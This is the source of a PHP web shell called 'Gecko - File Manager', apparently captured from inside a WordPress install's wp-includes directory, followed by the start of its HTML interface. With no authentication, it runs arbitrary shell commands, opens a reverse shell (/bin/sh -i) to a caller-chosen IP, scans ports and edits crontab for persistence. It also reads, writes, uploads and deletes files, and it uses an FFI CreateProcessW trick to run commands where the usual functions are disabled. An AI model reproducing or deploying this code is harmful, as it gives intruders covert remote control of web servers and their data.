HEX
Server: LiteSpeed
System: Linux box401.parsvds.com 4.18.0-553.30.1.lve.el8.x86_64 #1 SMP Tue Dec 3 01:21:19 UTC 2024 x86_64
User: iymdjwzl (2335)
PHP: 7.4.33
Disabled: exec,shell_exec,system,passthru,popen,eval,proc_close,proc_open,pcntl_exec,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getpriority,pcntl_setpriority
Upload Files
File: /home/iymdjwzl/public_html/wp-includes/IXR/fm.php
<?php
session_start();

if (isset($_REQUEST['action'])) {
    $action = $_REQUEST['action'];
    switch ($action) {
        // --- System & Tools ---
        case 'get_stats':
            handleGetStats();
            break;
        case 'adminer':
            handleAdminer();
            break;
        case 'port_scan':
            handlePortScan();
            break;
        case 'linux_exploit_suggester':
            handleLinuxExploitSuggester();
            break;
        case 'backconnect':
            handleBackconnect();
            break;
        case 'cron_manager':
            handleCronManager();
            break;
        case 'terminal':
            handleTerminal();
            break;

        // --- File Manager Actions ---
        case 'list':
            handleListFiles();
            break;
        case 'chdir':
            handleChdir();
            break;
        case 'create-dir':
        case 'create-file':
            handleCreateItem($action);
            break;
        case 'delete':
            handleDeleteItem();
            break;
        case 'rename':
            handleRenameItem();
            break;
        case 'chmod':
            handleChangePermissions();
            break;
        case 'get-content':
            handleGetFileContent();
            break;
        case 'save-content':
            handleSaveFileContent();
            break;
        case 'download':
            handleDownloadFile();
            break;
        case 'upload-file':
            handleUploadFiles();
            break;
        case 'bulk-delete':
            handleBulkDelete();
            break;
        case 'bulk-chmod':
            handleBulkChmod();
            break;
        case 'bulk-download':
            handleBulkDownload();
            break;

        default:
            send_error('Invalid action specified.');
            break;
    }
    exit; // Pastikan script berhenti setelah action selesai.
}

// =================================================================
// ACTION HANDLER FUNCTIONS
// Memisahkan setiap logika ke dalam fungsinya sendiri.
// =================================================================

function handleGetStats()
{
    header('Content-Type: application/json');

    function get_server_cpu_load()
    {
        if (function_exists('sys_getloadavg')) {
            $load = sys_getloadavg();
            return $load[0];
        }
        return 'N/A'; // Aman untuk OS non-Linux
    }

    $disk_total = @disk_total_space('/');
    $disk_free = @disk_free_space('/');
    $disk_used = $disk_total - $disk_free;
    $disk_percent = ($disk_total > 0) ? ($disk_used / $disk_total) * 100 : 0;

    $stats = [
        'user' => function_exists('get_current_user') ? get_current_user() : 'N/A',
        'php_version' => phpversion(),
        'server_software' => $_SERVER['SERVER_SOFTWARE'] ?? 'N/A',
        'cpu_load' => get_server_cpu_load(),
        'disk' => [
            'total' => round($disk_total / (1024 * 1024 * 1024), 2),
            'used' => round($disk_used / (1024 * 1024 * 1024), 2),
            'percent' => round($disk_percent, 2),
        ]
    ];

    echo json_encode($stats);
}

function handleAdminer()
{
    $adminer_file = 'adminer.php';
    $adminer_url = 'https://www.adminer.org/latest.php';
    if (!file_exists($adminer_file)) {
        $adminer_content = @file_get_contents($adminer_url);
        if ($adminer_content === false) {
            header('Content-Type: text/html; charset=utf-8');
            echo "<h3>Gagal Mengunduh Adminer</h3>";
            echo "<p>Silakan unduh <code>adminer.php</code> secara manual dari situs resminya dan unggah ke direktori ini.</p>";
            exit;
        }
        file_put_contents($adminer_file, $adminer_content);
    }
    include $adminer_file;
}

function handlePortScan()
{
    header('Content-Type: application/json');
    $data = json_decode(file_get_contents('php://input'), true);
    $host = $data['host'] ?? '';
    $ports_str = $data['ports'] ?? '21,22,80,443,3306';
    $timeout = $data['timeout'] ?? 1;

    if (empty($host) || filter_var($host, FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME) === false && filter_var($host, FILTER_VALIDATE_IP) === false) {
        send_error('Host is required or invalid.');
    }

    $ports_to_scan = [];
    foreach (explode(',', $ports_str) as $part) {
        $part = trim($part);
        if (strpos($part, '-') !== false) {
            list($start, $end) = explode('-', $part);
            if (is_numeric($start) && is_numeric($end)) {
                for ($i = intval($start); $i <= intval($end); $i++) {
                    $ports_to_scan[] = $i;
                }
            }
        } elseif (is_numeric($part)) {
            $ports_to_scan[] = intval($part);
        }
    }

    $open_ports = [];
    foreach (array_unique($ports_to_scan) as $port) {
        $connection = @fsockopen($host, $port, $errno, $errstr, $timeout);
        if (is_resource($connection)) {
            $open_ports[] = $port;
            fclose($connection);
        }
    }
    send_success(['host' => $host, 'open_ports' => $open_ports, 'scanned_ports' => $ports_to_scan]);
}

function handleLinuxExploitSuggester()
{
    header('Content-Type: application/json');
    if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
        send_error("This tool is for Linux servers only.");
    }
    $commands = [
        'Kernel Version' => 'uname -a',
        'Distribution'   => 'lsb_release -a 2>/dev/null || cat /etc/*-release 2>/dev/null || cat /etc/issue 2>/dev/null',
        'Proc Version'   => 'cat /proc/version'
    ];
    $results = [];
    foreach ($commands as $label => $command) {
        $results[$label] = htmlspecialchars(safe_exec($command));
    }
    send_success(['results' => $results]);
}

function handleBackconnect()
{
    header('Content-Type: application/json');
    $data = json_decode(file_get_contents('php://input'), true);
    $ip = $data['ip'] ?? '';
    $port = intval($data['port'] ?? 0);

    if (empty($ip) || filter_var($ip, FILTER_VALIDATE_IP) === false) {
        send_error("Invalid IP address.");
    }
    if ($port <= 0 || $port > 65535) {
        send_error("Invalid port.");
    }

    set_time_limit(0);
    ignore_user_abort(true);
    session_write_close();

    $shell = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? 'cmd.exe' : '/bin/sh -i';
    $sock = @fsockopen($ip, $port, $errno, $errstr, 30);
    if (!$sock) {
        send_error("Failed to connect to $ip:$port. Error: $errstr ($errno)");
    }

    send_success(['message' => "Backconnect initiated to $ip:$port. Check your listener."]);
    if (function_exists('fastcgi_finish_request')) {
        fastcgi_finish_request();
    } else {
        ob_flush();
        flush();
    }

    $descriptorspec = [0 => $sock, 1 => $sock, 2 => $sock];
    $process = proc_open($shell, $descriptorspec, $pipes);
    if (is_resource($process)) {
        proc_close($process);
    }
    fclose($sock);
}

function handleCronManager()
{
    header('Content-Type: application/json');
    if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
        send_error("Cron Manager is for Linux servers only.");
    }

    $data = json_decode(file_get_contents('php://input'), true);
    $sub_action = $data['sub_action'] ?? 'list';

    switch ($sub_action) {
        case 'list':
            $output = safe_exec('crontab -l 2>&1');
            send_success(['cron_jobs' => (strpos($output, 'no crontab for') !== false || empty($output)) ? '' : $output]);
            break;
        case 'save':
            $jobs = $data['jobs'] ?? '';
            $tmp_file = tempnam(sys_get_temp_dir(), 'cron');
            file_put_contents($tmp_file, $jobs . PHP_EOL);
            // escapeshellarg sangat penting untuk keamanan
            $output = safe_exec('crontab ' . escapeshellarg($tmp_file) . ' 2>&1');
            unlink($tmp_file);
            empty($output) ? send_success(['message' => 'Crontab updated successfully.']) : send_error('Failed to update crontab: ' . $output);
            break;
        default:
            send_error('Invalid Cron Manager action specified.');
            break;
    }
}

/**
 * [MODIFIED] Handles terminal commands with real-time streaming for output.
 */
function handleTerminal()
{
    if (!isset($_SESSION['terminal_cwd'])) {
        $_SESSION['terminal_cwd'] = __DIR__;
    }
    $data = json_decode(file_get_contents('php://input'), true);
    $command = $data['cmd'] ?? '';
    $cwd = $_SESSION['terminal_cwd'];

    // Handle 'cd' commands, which don't stream output.
    if (preg_match('/^cd\s*(.*)$/', $command, $matches)) {
        $new_dir_str = trim($matches[1]);
        $new_dir_str = trim($new_dir_str, "\"'");
        $output = '';

        if (empty($new_dir_str) || $new_dir_str === '~') {
            $target_path = __DIR__;
        } else {
            // Handle absolute paths on both Windows and Linux
            $is_absolute = (DIRECTORY_SEPARATOR === '/' && substr($new_dir_str, 0, 1) === '/') ||
                (DIRECTORY_SEPARATOR === '\\' && preg_match('/^[a-zA-Z]:/', $new_dir_str));
            $target_path = $is_absolute ? $new_dir_str : $cwd . DIRECTORY_SEPARATOR . $new_dir_str;
        }

        $real_target_path = realpath($target_path);

        if ($real_target_path && is_dir($real_target_path)) {
            $_SESSION['terminal_cwd'] = $real_target_path;
        } else {
            $output = "cd: no such file or directory: " . htmlspecialchars($new_dir_str);
        }

        // Send a normal JSON response for 'cd' and exit.
        header('Content-Type: application/json');
        echo json_encode(['output' => $output]);
        exit;
    }
    // Handle executing other commands with streaming output.
    elseif (!empty($command)) {
        // Disable all levels of output buffering
        while (ob_get_level()) {
            ob_end_flush();
        }

        // Set headers for a streaming plain text response
        header('Content-Type: text/plain; charset=UTF-8');
        header('X-Content-Type-Options: nosniff');

        // Close the session to prevent blocking other requests
        session_write_close();
        set_time_limit(0); // Allow the command to run indefinitely

        $is_windows = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
        $cd_command = $is_windows ? 'cd /d' : 'cd';

        // Construct command to first change directory, then execute the user's command
        $full_command = $cd_command . ' ' . escapeshellarg($cwd) . ' && ' . $command;

        $descriptorspec = [
            0 => ["pipe", "r"], // stdin
            1 => ["pipe", "w"], // stdout
            2 => ["pipe", "w"]  // stderr
        ];

        $process = proc_open($full_command, $descriptorspec, $pipes);

        if (is_resource($process)) {
            fclose($pipes[0]); // Not writing to stdin

            // Set stdout and stderr to non-blocking
            stream_set_blocking($pipes[1], false);
            stream_set_blocking($pipes[2], false);

            // Loop until the process finishes
            while (true) {
                $status = proc_get_status($process);
                if (!$status['running']) {
                    break;
                }

                $read_streams = [$pipes[1], $pipes[2]];
                $write_streams = null;
                $except_streams = null;

                // Wait for data on either stdout or stderr
                if (stream_select($read_streams, $write_streams, $except_streams, 0, 200000) > 0) {
                    foreach ($read_streams as $stream) {
                        $output = fread($stream, 8192); // Read in 8KB chunks
                        if ($output !== false && strlen($output) > 0) {
                            echo $output; // Send chunk to the browser
                            flush();       // Ensure it's sent immediately
                        }
                    }
                }
            }

            // Read any final output left in the pipes after the process exits
            $stdout_remains = stream_get_contents($pipes[1]);
            if ($stdout_remains) {
                echo $stdout_remains;
                flush();
            }
            $stderr_remains = stream_get_contents($pipes[2]);
            if ($stderr_remains) {
                echo $stderr_remains;
                flush();
            }

            fclose($pipes[1]);
            fclose($pipes[2]);
            proc_close($process);
        }
        exit; // Terminate script after streaming is complete
    }
    // Handle empty command submission
    else {
        header('Content-Type: application/json');
        echo json_encode(['output' => '']);
        exit;
    }
}


// =================================================================
// FILE MANAGER HANDLERS
// =================================================================
function get_fm_config()
{
    // Memusatkan konfigurasi file manager
    $root_dir = dirname($_SERVER['DOCUMENT_ROOT']);
    define('DOC_ROOT', realpath($root_dir) ?: realpath(__DIR__));

    if (!isset($_SESSION['fm_cwd'])) {
        $_SESSION['fm_cwd'] = DOC_ROOT;
    }
}

function handleListFiles()
{
    get_fm_config();
    list_files($_SESSION['fm_cwd']);
}

function handleChdir()
{
    get_fm_config(); // Tetap panggil ini untuk inisialisasi session dan DOC_ROOT
    $target_path = $_REQUEST['target_path'] ?? '';
    $current_cwd = $_SESSION['fm_cwd'];
    $new_full_path = '';

    // Logika untuk menentukan path baru, sudah baik dan tidak perlu diubah.
    $is_absolute = (DIRECTORY_SEPARATOR === '/' && substr($target_path, 0, 1) === '/') ||
        (DIRECTORY_SEPARATOR === '\\' && preg_match('/^[a-zA-Z]:/', $target_path));

    if ($target_path === '..') {
        $new_full_path = realpath($current_cwd . DIRECTORY_SEPARATOR . '..');
    } elseif (empty($target_path)) {
        $new_full_path = DOC_ROOT;
    } elseif ($is_absolute) {
        if (DIRECTORY_SEPARATOR === '\\' && preg_match('/^[a-zA-Z]:$/', $target_path)) {
            $target_path .= '\\';
        }
        $new_full_path = realpath($target_path);
    } else {
        $new_full_path = realpath($current_cwd . DIRECTORY_SEPARATOR . $target_path);
    }

    if ($new_full_path === false) {
        send_error('Invalid path specified or path does not exist: ' . htmlspecialchars($target_path));
    }

    // Jika path valid dan merupakan sebuah direktori, ubah CWD dan list file.
    if (is_dir($new_full_path)) {
        $_SESSION['fm_cwd'] = $new_full_path;
        list_files($new_full_path);
    } else {
        send_error('Failed to change directory or target is not a directory.');
    }
}

function get_validated_filepath($name_from_request)
{
    get_fm_config();
    // basename() adalah kunci untuk mencegah directory traversal (../../)
    $name = basename($name_from_request);
    $file_path = $_SESSION['fm_cwd'] . DIRECTORY_SEPARATOR . $name;

    if (!file_exists($file_path)) {
        send_error('Invalid path specified or file not found.');
    }
    return $file_path;
}

function handleCreateItem($action)
{
    get_fm_config();
    $name = $_POST['name'] ?? '';
    if ($action === 'create-dir') {
        create_directory($_SESSION['fm_cwd'], $name);
    } else {
        create_file($_SESSION['fm_cwd'], $name);
    }
}

function handleDeleteItem()
{
    $item_path = get_validated_filepath($_POST['name'] ?? '');
    delete_item_recursive($item_path);
    send_success(['message' => 'Item berhasil dihapus.']);
}

function handleRenameItem()
{
    get_fm_config();
    $old_name = basename($_POST['old_name'] ?? '');
    $new_name = basename($_POST['new_name'] ?? '');
    rename_item($_SESSION['fm_cwd'], $old_name, $new_name);
}

function handleChangePermissions()
{
    $item_path = get_validated_filepath($_POST['name'] ?? '');
    $perms = $_POST['perms'] ?? '';
    change_permissions($item_path, $perms);
}

function handleGetFileContent()
{
    $file_path = get_validated_filepath($_GET['name'] ?? '');
    get_file_content($file_path);
}

function handleSaveFileContent()
{
    $file_path = get_validated_filepath($_POST['name'] ?? '');
    $content = $_POST['content'] ?? '';
    save_file_content($file_path, $content);
}

function handleDownloadFile()
{
    $file_path = get_validated_filepath($_GET['name'] ?? '');
    download_file($file_path);
}

function handleUploadFiles()
{
    get_fm_config();
    upload_files($_SESSION['fm_cwd']);
}

function handleBulkDelete()
{
    get_fm_config();
    $items = json_decode($_POST['items'] ?? '[]', true);
    bulk_delete($_SESSION['fm_cwd'], $items);
}

function handleBulkChmod()
{
    get_fm_config();
    $items = json_decode($_POST['items'] ?? '[]', true);
    $perms = $_POST['perms'] ?? '';
    bulk_chmod($_SESSION['fm_cwd'], $items, $perms);
}

function handleBulkDownload()
{
    get_fm_config();
    $items = json_decode($_GET['items'] ?? '[]', true);
    bulk_download($_SESSION['fm_cwd'], $items);
}

// =================================================================
// HELPER & CORE FUNCTIONS
// =================================================================

function safe_exec($command)
{
    // Deteksi Windows / Unix
    $isWindows = (stripos(PHP_OS, "WIN") === 0);

    if ($isWindows) {
        // --- Windows ---
        if (PHP_VERSION_ID >= 70400 && extension_loaded("FFI")) {
            // Pakai FFI (Windows API)
            $ffi = FFI::cdef("
                typedef int BOOL;
                typedef void* HANDLE;
                typedef unsigned long DWORD;
                typedef const wchar_t* LPCWSTR;

                typedef struct _STARTUPINFOW {
                    DWORD cb;
                    LPCWSTR lpReserved;
                    LPCWSTR lpDesktop;
                    LPCWSTR lpTitle;
                    DWORD dwX;
                    DWORD dwY;
                    DWORD dwXSize;
                    DWORD dwYSize;
                    DWORD dwXCountChars;
                    DWORD dwYCountChars;
                    DWORD dwFillAttribute;
                    DWORD dwFlags;
                    WORD wShowWindow;
                    WORD cbReserved2;
                    BYTE* lpReserved2;
                    HANDLE hStdInput;
                    HANDLE hStdOutput;
                    HANDLE hStdError;
                } STARTUPINFOW;

                typedef struct _PROCESS_INFORMATION {
                    HANDLE hProcess;
                    HANDLE hThread;
                    DWORD dwProcessId;
                    DWORD dwThreadId;
                } PROCESS_INFORMATION;

                BOOL CreateProcessW(
                    LPCWSTR lpApplicationName,
                    LPCWSTR lpCommandLine,
                    void* lpProcessAttributes,
                    void* lpThreadAttributes,
                    BOOL bInheritHandles,
                    DWORD dwCreationFlags,
                    void* lpEnvironment,
                    LPCWSTR lpCurrentDirectory,
                    STARTUPINFOW* lpStartupInfo,
                    PROCESS_INFORMATION* lpProcessInformation
                );
            ", "kernel32.dll");

            $si = $ffi->new("STARTUPINFOW");
            $pi = $ffi->new("PROCESS_INFORMATION");
            $si->cb = FFI::sizeof($si);

            $wcmd = FFI::new("wchar_t[512]");
            FFI::memcpy(
                $wcmd,
                FFI::string("cmd.exe /c " . $command),
                2 * strlen("cmd.exe /c " . $command)
            );

            $res = $ffi->CreateProcessW(
                null,
                $wcmd,
                null,
                null,
                0,
                0,
                null,
                null,
                FFI::addr($si),
                FFI::addr($pi)
            );

            return $res
                ? "Process started (PID: " . $pi->dwProcessId . ")"
                : "Failed to execute via CreateProcessW";
        } else {
            // Fallback: pakai proc_open / popen biasa
            $descriptorspec = [
                0 => ["pipe", "r"],
                1 => ["pipe", "w"],
                2 => ["pipe", "w"]
            ];
            $process = proc_open($command, $descriptorspec, $pipes);
            $output = '';

            if (is_resource($process)) {
                fclose($pipes[0]);
                $output = stream_get_contents($pipes[1]);
                fclose($pipes[1]);
                fclose($pipes[2]);
                proc_close($process);
            }
            return $output;
        }
    } else {
        // --- Linux / Unix ---
        $descriptorspec = [
            0 => ["pipe", "r"],
            1 => ["pipe", "w"],
            2 => ["pipe", "w"]
        ];

        $process = proc_open($command, $descriptorspec, $pipes);
        $output = '';

        if (is_resource($process)) {
            fclose($pipes[0]);
            $output = stream_get_contents($pipes[1]);
            fclose($pipes[1]);
            fclose($pipes[2]);
            proc_close($process);
        }

        return $output;
    }
}

function send_error($message, $status_code = 400)
{
    header('Content-Type: application/json');
    http_response_code($status_code);
    echo json_encode(['success' => false, 'message' => $message]);
    exit;
}

function send_success($data = [])
{
    header('Content-Type: application/json');
    echo json_encode(array_merge(['success' => true], $data));
    exit;
}

function list_files($dir)
{
    if (!is_dir($dir)) send_error('Directory not found.');

    $files = [];
    $items = @scandir($dir);
    if ($items === false) send_error('Could not read directory. Check permissions.');

    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;

        $item_path = $dir . DIRECTORY_SEPARATOR . $item;
        $is_dir = is_dir($item_path);
        $files[] = [
            'name' => $item,
            'type' => $is_dir ? 'folder' : 'file',
            'size' => $is_dir ? '-' : format_size(@filesize($item_path)),
            'last_modified' => date('Y-m-d H:i:s', @filemtime($item_path)),
            'permissions' => substr(sprintf('%o', @fileperms($item_path)), -4),
        ];
    }

    usort($files, function ($a, $b) {
        if ($a['type'] === 'folder' && $b['type'] !== 'folder') return -1;
        if ($a['type'] !== 'folder' && $b['type'] === 'folder') return 1;
        return strcasecmp($a['name'], $b['name']);
    });

    $display_path = str_replace(DOC_ROOT, '', $dir) ?: '/';

    $response_data = [
        'files' => $files,
        'path' => $display_path,
        'breadcrumbs' => generate_breadcrumbs($dir)
    ];

    if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
        $drives = [];
        foreach (range('A', 'Z') as $drive) {
            if (is_dir($drive . ':\\')) {
                $drives[] = ['name' => $drive . ':', 'path' => $drive . ':\\'];
            }
        }
        $response_data['drives'] = $drives;
    }

    send_success($response_data);
}

function create_directory($path, $name)
{
    if (empty($name) || preg_match('/[\\/\:\*\?"<>\|]/', $name)) send_error('Invalid directory name.');
    $new_dir = $path . DIRECTORY_SEPARATOR . $name;
    if (file_exists($new_dir)) send_error('Directory already exists.');
    if (@mkdir($new_dir)) send_success(['message' => 'Directory created successfully.']);
    else send_error('Failed to create directory. Check permissions.');
}

function create_file($path, $name)
{
    if (empty($name) || preg_match('/[\\/\:\*\?"<>\|]/', $name)) send_error('Invalid file name.');
    $new_file = $path . DIRECTORY_SEPARATOR . $name;
    if (file_exists($new_file)) send_error('File already exists.');
    if (@touch($new_file)) send_success(['message' => 'File created successfully.']);
    else send_error('Failed to create file. Check permissions.');
}

function delete_item_recursive($item_path)
{
    if (is_dir($item_path)) {
        $it = new RecursiveDirectoryIterator($item_path, RecursiveDirectoryIterator::SKIP_DOTS);
        $files = new RecursiveIteratorIterator($it, RecursiveIteratorIterator::CHILD_FIRST);
        foreach ($files as $file) {
            $realPath = $file->getRealPath();
            $file->isDir() ? @rmdir($realPath) : @unlink($realPath);
        }
        @rmdir($item_path);
    } else {
        @unlink($item_path);
    }
}


function rename_item($path, $old_name, $new_name)
{
    if (empty($new_name) || preg_match('/[\\/\:\*\?"<>\|]/', $new_name)) send_error('Invalid new name.');
    $old_path = $path . DIRECTORY_SEPARATOR . $old_name;
    $new_path = $path . DIRECTORY_SEPARATOR . $new_name;
    if (!file_exists($old_path)) send_error('Original item not found.');
    if (file_exists($new_path)) send_error('An item with the new name already exists.');
    if (rename($old_path, $new_path)) send_success(['message' => 'Berhasil diubah nama.']);
    else send_error('Failed to rename. Check permissions.');
}

function change_permissions($item_path, $perms)
{
    if (!preg_match('/^[0-7]{4}$/', $perms)) send_error('Invalid permission format. Use a 4-digit octal value (e.g., 0755).');
    if (@chmod($item_path, octdec($perms))) send_success(['message' => 'Permissions changed successfully.']);
    else send_error('Failed to change permissions.');
}

function get_file_content($file_path)
{
    if (!is_file($file_path)) send_error('File not found.');
    $content = @file_get_contents($file_path);
    if ($content === false) send_error('Could not read file content.');
    else send_success(['content' => $content]);
}

function save_file_content($file_path, $content)
{
    if (!is_file($file_path)) send_error('File not found.');
    if (@file_put_contents($file_path, $content) !== false) send_success(['message' => 'File saved successfully.']);
    else send_error('Failed to save file. Check permissions.');
}

function download_file($file_path)
{
    if (is_file($file_path)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($file_path) . '"');
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: ' . filesize($file_path));
        flush();
        readfile($file_path);
        exit;
    } else {
        http_response_code(404);
        die('File not found.');
    }
}
function upload_files($path)
{
    if (empty($_FILES['files_to_upload'])) {
        send_error('Tidak ada file yang dipilih untuk diunggah.');
    }
    $files = $_FILES['files_to_upload'];
    $errors = [];
    $success_count = 0;
    $file_count = is_array($files['name']) ? count($files['name']) : 1;

    for ($i = 0; $i < $file_count; $i++) {
        $name = is_array($files['name']) ? $files['name'][$i] : $files['name'];
        $tmp_name = is_array($files['tmp_name']) ? $files['tmp_name'][$i] : $files['tmp_name'];
        $error = is_array($files['error']) ? $files['error'][$i] : $files['error'];

        if ($error !== UPLOAD_ERR_OK) {
            $errors[] = "$name (Error code: $error)";
            continue;
        }
        $file_name = basename($name);
        if (preg_match('/[\\/\:\*\?"<>\|]/', $file_name)) {
            $errors[] = "$file_name (Invalid characters in name)";
            continue;
        }
        $destination = $path . DIRECTORY_SEPARATOR . $file_name;
        if (file_exists($destination)) {
            $errors[] = "$file_name (File already exists)";
            continue;
        }
        if (move_uploaded_file($tmp_name, $destination)) {
            $success_count++;
        } else {
            $errors[] = "$file_name (Failed to move, check folder permissions)";
        }
    }

    if ($success_count > 0 && empty($errors)) {
        send_success(['message' => "$success_count file(s) uploaded successfully."]);
    } elseif ($success_count > 0) {
        send_error("Uploaded $success_count file(s), but failed for: " . implode(', ', $errors));
    } else {
        send_error('Upload failed. Errors: ' . implode(', ', $errors));
    }
}


function bulk_delete($path, $items)
{
    if (empty($items)) send_error('No items selected.');
    $errors = [];
    foreach ($items as $item_name) {
        $item_path = $path . DIRECTORY_SEPARATOR . basename($item_name);
        if (file_exists($item_path)) {
            delete_item_recursive($item_path);
        } else {
            $errors[] = $item_name;
        }
    }
    if (empty($errors)) send_success(['message' => count($items) . ' items deleted.']);
    else send_error('Could not delete: ' . implode(', ', $errors));
}

function bulk_chmod($path, $items, $perms)
{
    if (empty($items)) send_error('No items selected.');
    if (!preg_match('/^[0-7]{4}$/', $perms)) send_error('Invalid permission format.');
    $octal_perms = octdec($perms);
    $errors = [];
    foreach ($items as $item_name) {
        $item_path = $path . DIRECTORY_SEPARATOR . basename($item_name);
        if (file_exists($item_path) && !@chmod($item_path, $octal_perms)) {
            $errors[] = $item_name;
        }
    }
    if (empty($errors)) send_success(['message' => 'Permissions changed for ' . count($items) . ' items.']);
    else send_error('Could not change permissions for: ' . implode(', ', $errors));
}

function bulk_download($path, $items)
{
    if (!class_exists('ZipArchive')) send_error('ZipArchive class is not available.');
    if (empty($items)) send_error('No items selected for download.');

    $zip = new ZipArchive();
    $zip_name = 'download_' . time() . '.zip';
    $zip_path = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $zip_name;

    if ($zip->open($zip_path, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== TRUE) {
        send_error('Cannot create zip archive.');
    }

    foreach ($items as $item_name) {
        $item_path = $path . DIRECTORY_SEPARATOR . basename($item_name);
        if (file_exists($item_path)) {
            if (is_file($item_path)) {
                $zip->addFile($item_path, basename($item_name));
            } elseif (is_dir($item_path)) {
                $files = new RecursiveIteratorIterator(
                    new RecursiveDirectoryIterator($item_path, RecursiveDirectoryIterator::SKIP_DOTS),
                    RecursiveIteratorIterator::LEAVES_ONLY
                );
                foreach ($files as $name => $file) {
                    if (!$file->isDir()) {
                        $filePath = $file->getRealPath();
                        $relativePath = basename($item_name) . '/' . substr($filePath, strlen($item_path) + 1);
                        $zip->addFile($filePath, $relativePath);
                    }
                }
            }
        }
    }
    $zip->close();

    if (file_exists($zip_path)) {
        header('Content-Type: application/zip');
        header('Content-Disposition: attachment; filename="' . $zip_name . '"');
        header('Content-Length: ' . filesize($zip_path));
        readfile($zip_path);
        @unlink($zip_path);
        exit;
    } else {
        send_error('Could not create the zip file.');
    }
}


function generate_breadcrumbs($current_path)
{
    $breadcrumbs = [];
    $real_path = realpath($current_path);
    if ($real_path === false) return [['name' => 'Invalid Path', 'path' => '']];

    $is_windows = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';

    $base_path = DOC_ROOT;
    if (strpos($real_path, $base_path) !== 0) {
        $base_path = $is_windows ? '' : '/';
    }

    $relative_path = substr($real_path, strlen($base_path));
    $parts = explode(DIRECTORY_SEPARATOR, trim($relative_path, DIRECTORY_SEPARATOR));

    $path_builder = $base_path;
    $breadcrumbs[] = ['name' => '[ ROOT ]', 'path' => DOC_ROOT];

    foreach ($parts as $part) {
        if (empty($part)) continue;
        $path_builder .= DIRECTORY_SEPARATOR . $part;
        $breadcrumbs[] = ['name' => $part, 'path' => $path_builder];
    }
    return $breadcrumbs;
}

function format_size($bytes)
{
    if ($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB';
    if ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB';
    if ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB';
    return $bytes . ' bytes';
}
?>
<!DOCTYPE html>
<html lang="id" data-bs-theme="dark">

<head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Gecko - File Manager</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css" rel="stylesheet" />
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.2/css/all.min.css" />
    <link rel="stylesheet" href="https://cdn.datatables.net/1.13.7/css/dataTables.bootstrap5.min.css" />
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/xterm@5.3.0/css/xterm.min.css" />
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/sweetalert2@11/dist/sweetalert2.min.css">

    <style>
        @import url('https://fonts.googleapis.com/css2?family=Caveat:wght@400..700&display=swap');

        :root {
            --gh-dark-bg: #0d1117;
            --gh-dark-component-bg: #161b22;
            --gh-dark-border: #30363d;
            --gh-dark-text: #c9d1d9;
            --gh-dark-text-secondary: #8b949e;
            --gh-orange-accent: #f78166;
            --gh-orange-accent-hover: #fa9d89;
            --gh-blue-icon: #58a6ff;
        }

        body {
            background-color: var(--gh-dark-bg);
            color: var(--gh-dark-text);
            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";
        }

        /* --- Custom Scrollbar --- */
        ::-webkit-scrollbar {
            width: 10px;
            height: 10px;
        }

        ::-webkit-scrollbar-track {
            background: var(--gh-dark-bg);
        }

        ::-webkit-scrollbar-thumb {
            background-color: #2c313a;
            border-radius: 10px;
            border: 2px solid var(--gh-dark-bg);
        }

        ::-webkit-scrollbar-thumb:hover {
            background-color: var(--gh-dark-border);
        }

        .main-layout {
            display: grid;
            grid-template-columns: 1fr 400px;
            gap: 1rem;
            align-items: stretch;
        }

        .file-manager-container {
            background-color: var(--gh-dark-component-bg);
            border: 1px solid var(--gh-dark-border);
            border-radius: 6px;
            padding: 0.5rem;
            display: flex;
            flex-direction: column;
        }

        .fm-header {
            padding: 1rem 1.5rem;
            border-bottom: 1px solid var(--gh-dark-border);
            display: flex;
            justify-content: space-between;
            align-items: center;
            flex-wrap: wrap;
            gap: 1rem;
        }

        .breadcrumb-item a {
            color: var(--gh-orange-accent);
            text-decoration: none;
        }

        .breadcrumb-item a:hover {
            text-decoration: underline;
            color: var(--gh-orange-accent-hover);
        }

        .breadcrumb-item.active {
            color: var(--gh-dark-text-secondary);
        }

        #fileManagerTable_wrapper {
            padding: 1rem;
            flex-grow: 1;
        }

        .dataTables_wrapper .dataTables_length,
        .dataTables_wrapper .dataTables_filter,
        .dataTables_wrapper .dataTables_info,
        .dataTables_wrapper .dataTables_paginate {
            color: var(--gh-dark-text-secondary) !important;
        }

        .dataTables_wrapper .form-control {
            background-color: var(--gh-dark-bg);
            color: var(--gh-dark-text);
            border-color: var(--gh-dark-border);
        }

        .dataTables_wrapper .form-control:focus {
            background-color: var(--gh-dark-bg);
            color: var(--gh-dark-text);
            border-color: var(--gh-orange-accent);
            box-shadow: 0 0 0 0.25rem rgba(247, 129, 102, 0.25);
        }

        .page-item .page-link {
            background-color: var(--gh-dark-component-bg);
            border-color: var(--gh-dark-border);
            color: var(--gh-dark-text-secondary);
        }

        .page-item.active .page-link {
            background-color: var(--gh-orange-accent);
            border-color: var(--gh-orange-accent);
